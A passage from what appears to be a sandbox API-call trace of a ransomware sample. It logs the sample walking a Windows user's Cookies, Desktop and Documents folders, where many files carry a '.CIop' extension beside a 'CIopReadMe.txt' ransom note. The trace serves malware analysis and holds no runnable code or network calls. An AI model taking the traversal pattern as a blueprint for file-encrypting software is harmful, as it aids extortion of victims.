lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.418] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.418] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.418] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.418] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.418] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0138.418] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0138.419] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0138.419] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.419] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1 [0138.419] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1 [0138.419] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0138.419] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0138.419] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Cookies" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies" [0138.419] SetErrorMode (uMode=0x1) returned 0x1 [0138.419] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Cookies" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies" [0138.419] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\" [0138.419] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\" [0138.419] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*" [0138.419] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.419] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned="Cookies" [0138.419] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Cookies" | out: lpString1="Cookies") returned="Cookies" [0138.419] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.419] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Cookies" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies" [0138.419] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*" [0138.419] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.419] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned="Cookies" [0138.419] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Cookies" | out: lpString1="Cookies") returned="Cookies" [0138.419] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.419] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.419] lstrcmpW (lpString1="Desktop", lpString2="..") returned 1 [0138.419] lstrcmpW (lpString1="Desktop", lpString2=".") returned 1 [0138.419] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0138.419] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0138.420] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Desktop" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop" [0138.420] SetErrorMode (uMode=0x1) returned 0x1 [0138.420] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop" [0138.420] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0138.420] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0138.420] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*" [0138.420] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0138.420] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="Desktop" [0138.420] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0138.420] lstrlenW (lpString="Desktop") returned 7 [0138.420] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0138.421] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop" [0138.421] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*" [0138.421] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0138.422] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="Desktop" [0138.422] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0138.422] lstrlenW (lpString="Desktop") returned 7 [0138.422] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0138.422] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.422] lstrcmpW (lpString1="Documents", lpString2="..") returned 1 [0138.422] lstrcmpW (lpString1="Documents", lpString2=".") returned 1 [0138.422] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0138.422] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0138.422] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0138.422] SetErrorMode (uMode=0x1) returned 0x1 [0138.422] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0138.422] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0138.422] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0138.422] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*" [0138.422] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0138.422] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="Documents" [0138.422] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0138.422] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.422] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.422] lstrcmpW (lpString1="1u1PtMsi_p5I6Kp0gVZ.xlsx.CIop", lpString2="..") returned 1 [0138.422] lstrcmpW (lpString1="1u1PtMsi_p5I6Kp0gVZ.xlsx.CIop", lpString2=".") returned 1 [0138.422] lstrlenW (lpString=".CIop") returned 5 [0138.422] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.422] lstrcmpW (lpString1="4CDCeVLoOGDNNc.xlsx.CIop", lpString2="..") returned 1 [0138.422] lstrcmpW (lpString1="4CDCeVLoOGDNNc.xlsx.CIop", lpString2=".") returned 1 [0138.422] lstrlenW (lpString=".CIop") returned 5 [0138.422] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.422] lstrcmpW (lpString1="5eq4aL0vBSUL.pps.CIop", lpString2="..") returned 1 [0138.422] lstrcmpW (lpString1="5eq4aL0vBSUL.pps.CIop", lpString2=".") returned 1 [0138.423] lstrlenW (lpString=".CIop") returned 5 [0138.423] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.423] lstrcmpW (lpString1="5EUw6X.xlsx.CIop", lpString2="..") returned 1 [0138.423] lstrcmpW (lpString1="5EUw6X.xlsx.CIop", lpString2=".") returned 1 [0138.423] lstrlenW (lpString=".CIop") returned 5 [0138.423] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.423] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0138.423] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0138.423] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0138.423] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.423] lstrcmpW (lpString1="Database1.accdb.CIop", lpString2="..") returned 1 [0138.423] lstrcmpW (lpString1="Database1.accdb.CIop", lpString2=".") returned 1 [0138.423] lstrlenW (lpString=".CIop") returned 5 [0138.423] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.423] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0138.423] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0138.423] lstrlenW (lpString="desktop.ini") returned 11 [0138.423] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.423] lstrcmpW (lpString1="FnCzF1A7H gxenH83.pptx.CIop", lpString2="..") returned 1 [0138.423] lstrcmpW (lpString1="FnCzF1A7H gxenH83.pptx.CIop", lpString2=".") returned 1 [0138.423] lstrlenW (lpString=".CIop") returned 5 [0138.423] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.423] lstrcmpW (lpString1="gCLjM xynMaWR.xlsx.CIop", lpString2="..") returned 1 [0138.423] lstrcmpW (lpString1="gCLjM xynMaWR.xlsx.CIop", lpString2=".") returned 1 [0138.423] lstrlenW (lpString=".CIop") returned 5 [0138.423] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.423] lstrcmpW (lpString1="hfoKW.pptx.CIop", lpString2="..") returned 1 [0138.423] lstrcmpW (lpString1="hfoKW.pptx.CIop", lpString2=".") returned 1 [0138.423] lstrlenW (lpString=".CIop") returned 5 [0138.423] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.423] lstrcmpW (lpString1="hJZX8AFOtoTuk B35pJ_.pdf.CIop", lpString2="..") returned 1 [0138.423] lstrcmpW (lpString1="hJZX8AFOtoTuk B35pJ_.pdf.CIop", lpString2=".") returned 1 [0138.423] lstrlenW (lpString=".CIop") returned 5 [0138.423] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.423] lstrcmpW (lpString1="JF6Z1xvDFv.docx.CIop", lpString2="..") returned 1 [0138.423] lstrcmpW (lpString1="JF6Z1xvDFv.docx.CIop", lpString2=".") returned 1 [0138.423] lstrlenW (lpString=".CIop") returned 5 [0138.423] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.423] lstrcmpW (lpString1="MI47.xlsx.CIop", lpString2="..") returned 1 [0138.423] lstrcmpW (lpString1="MI47.xlsx.CIop", lpString2=".") returned 1 [0138.423] lstrlenW (lpString=".CIop") returned 5 [0138.423] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.423] lstrcmpW (lpString1="mlv6Gzv7Da-BgmdC.docx.CIop", lpString2="..") returned 1 [0138.424] lstrcmpW (lpString1="mlv6Gzv7Da-BgmdC.docx.CIop", lpString2=".") returned 1 [0138.424] lstrlenW (lpString=".CIop") returned 5 [0138.424] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.424] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.424] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.424] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.424] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.424] lstrcmpW (lpString1="nP0r3x5d.ods.CIop", lpString2="..") returned 1 [0138.424] lstrcmpW (lpString1="nP0r3x5d.ods.CIop", lpString2=".") returned 1 [0138.424] lstrlenW (lpString=".CIop") returned 5 [0138.424] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.424] lstrcmpW (lpString1="o1_fy8.pptx.CIop", lpString2="..") returned 1 [0138.424] lstrcmpW (lpString1="o1_fy8.pptx.CIop", lpString2=".") returned 1 [0138.424] lstrlenW (lpString=".CIop") returned 5 [0138.424] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.424] lstrcmpW (lpString1="obHPe.pptx.CIop", lpString2="..") returned 1 [0138.424] lstrcmpW (lpString1="obHPe.pptx.CIop", lpString2=".") returned 1 [0138.424] lstrlenW (lpString=".CIop") returned 5 [0138.424] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.424] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.424] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.424] lstrcmpW (lpString1="SATDQcfMYoPlh.docx.CIop", lpString2="..") returned 1 [0138.424] lstrcmpW (lpString1="SATDQcfMYoPlh.docx.CIop", lpString2=".") returned 1 [0138.424] lstrlenW (lpString=".CIop") returned 5 [0138.424] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.424] lstrcmpW (lpString1="u6hnCYVE2vuu.docx.CIop", lpString2="..") returned 1 [0138.424] lstrcmpW (lpString1="u6hnCYVE2vuu.docx.CIop", lpString2=".") returned 1 [0138.424] lstrlenW (lpString=".CIop") returned 5 [0138.424] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.424] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.424] lstrcmpW (lpString1="ziNabL4eBQn3JC_djnr.pptx.CIop", lpString2="..") returned 1 [0138.424] lstrcmpW (lpString1="ziNabL4eBQn3JC_djnr.pptx.CIop", lpString2=".") returned 1 [0138.424] lstrlenW (lpString=".CIop") returned 5 [0138.424] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.424] lstrcmpW (lpString1="ZmbKh2wUNBqMsH-.docx.CIop", lpString2="..") returned 1 [0138.424] lstrcmpW (lpString1="ZmbKh2wUNBqMsH-.docx.CIop", lpString2=".") returned 1 [0138.424] lstrlenW (lpString=".CIop") returned 5 [0138.424] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0138.424] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0138.424] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0138.425] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0138.425] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*" [0138.425] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0138.425] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="Documents" [0138.425] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0138.425] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.425] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0138.425] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.425] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.425] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.425] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.425] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.425] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.425] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.425] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.425] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.425] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.425] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.425] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.425] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.425] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.425] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.425] lstrcmpW (lpString1="My Music", lpString2="..") returned 1 [0138.425] lstrcmpW (lpString1="My Music", lpString2=".") returned 1 [0138.425] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0138.425] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0138.425] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="My Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music" [0138.425] SetErrorMode (uMode=0x1) returned 0x1 [0138.425] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music" [0138.425] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\" [0138.425] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\" [0138.425] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*" [0138.425] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0138.426] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music") returned="My Music" [0138.426] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0138.426] lstrlenW (lpString=".CIop") returned 5 [0138.426] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0138.426] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.426] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.426] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music" [0138.426] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*" [0138.426] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0138.426] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music") returned="My Music" [0138.426] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0138.426] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0138.426] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.426] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.426] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.426] lstrcmpW (lpString1="My Pictures", lpString2="..") returned 1 [0138.426] lstrcmpW (lpString1="My Pictures", lpString2=".") returned 1 [0138.426] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0138.426] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0138.426] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="My Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures" [0138.426] SetErrorMode (uMode=0x1) returned 0x1 [0138.426] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures" [0138.426] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures", lpString2="\\" | out: 